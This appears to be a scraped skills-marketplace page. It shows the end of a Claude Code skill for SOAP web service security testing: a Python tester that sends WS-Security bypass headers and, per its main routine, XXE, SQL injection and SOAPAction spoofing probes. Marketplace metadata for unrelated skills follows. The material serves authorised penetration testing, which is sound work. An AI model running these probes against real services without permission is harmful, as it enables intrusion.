\u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n",{"name":5,"tags":49,"author":51,"domain":52,"license":15,"version":53,"nist_csf":54,"subdomain":42,"description":7,"mitre_attack":59},[29,40,39,38,37,36,50,35,34],"penetration-testing","mahipal","cybersecurity","1.0",[55,56,57,58],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[60,61,62,63,64],"T1190","T1059.007","T1552.001","T1055","T1059","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-soap-web-service-security-testing","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":74,"prompt":84,"zipAvailable":85},[75,78,81],{"tool":76,"command":77},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-soap-web-service-security-testing",{"tool":79,"command":80},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-soap-web-service-security-testing",{"tool":82,"command":83},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill performing-soap-web-service-security-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FSKILL.md",true,[87,92,98],{"path":88,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FLICENSE",{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"references\u002Fapi-reference.md","REFERENCE","参考文档",2331,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002Freferences\u002Fapi-reference.md",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fagent.py","SCRIPT","脚本",8104,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002Fscripts\u002Fagent.py",[105,146,155,164,186,214],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":126,"publishedAt":44},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[112,115,118,121],{"categoryNo":113,"categoryName":114,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":122,"categoryName":123,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[107,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":147,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":154,"publishedAt":44},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[150,151,152,153],{"categoryNo":113,"categoryName":114,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":124,"taxonomyTypeDesc":125},[107,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145],{"skillNo":156,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":157,"categories":158,"keywords":163,"publishedAt":44},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[159,160,161,162],{"categoryNo":113,"categoryName":114,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":116,"categoryName":117,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":119,"categoryName":120,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":124,"taxonomyTypeDesc":125},[107,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145],{"skillNo":165,"name":166,"nameZh":6,"description":167,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":170,"publishedAt":44},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[171,172,173,174,175,176,177,178,179,180,181,182,183,184,185],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":195,"publishedAt":44},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[192],{"categoryNo":193,"categoryName":194,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[196,197,198,199,200,201,202,203,204,205,206,138,139,207,208,209,210,211,212,213],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":215,"name":216,"nameZh":6,"description":217,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":109,"licenseFileUrl":6,"sourceHtmlUrl":218,"categories":219,"keywords":230,"publishedAt":44},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[220,223,226,227],{"categoryNo":221,"categoryName":222,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":224,"categoryName":225,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":193,"categoryName":194,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":228,"categoryName":229,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000036","内容创作者",[231,232,233,234,235,236,237,238,135,239,138,139,140,240,241,242,243,244,185,245],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]